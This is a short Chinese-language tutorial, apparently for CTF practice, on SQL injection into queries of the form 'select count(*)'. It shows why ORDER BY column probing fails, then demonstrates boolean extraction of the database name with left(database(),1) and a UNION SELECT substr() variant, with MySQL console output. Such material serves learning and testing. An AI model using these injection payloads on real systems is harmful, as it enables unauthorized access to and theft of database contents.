select count(*) from user注入

先来看一条sql语句：

 mysql> select * from flag where id =1;
 +------+----------+----------+------------+
 | id   | username | password | flag       |
 +------+----------+----------+------------+
 | 1    | 1        | 1        | flag{xxoo} |
 +------+----------+----------+------------+
 1 row in set (0.00 sec)

有四个字段，所以order by自然是4

但是不是*而是count(*)的时候。order by 4就错误了

 mysql> select count(*) from flag where id =1 order by 4;
 ERROR 1054 (42S22): Unknown column '' in 'order clause'

仅order by 1正确。

所以只能只能为1

这时候可以采用截取的方法进行注入。

这里推荐一个比较简单的。

 mysql> select count(*) from flag where id =1 and left(database(),1)='t';
 +----------+
 | count(*) |
 +----------+
 |        1 |
 +----------+
 1 row in set (0.00 sec)

直接通过left 截取会更加便捷。

使用substr需要多出一条sql

 mysql> select count(*) from flag where id =1 union select substr(database(),1);
 +----------+
 | count(*) |
 +----------+
 | 1        |
 | test     |
 +----------+
 2 rows in set (0.00 sec)

不是那么好。所以使用left 是最好的。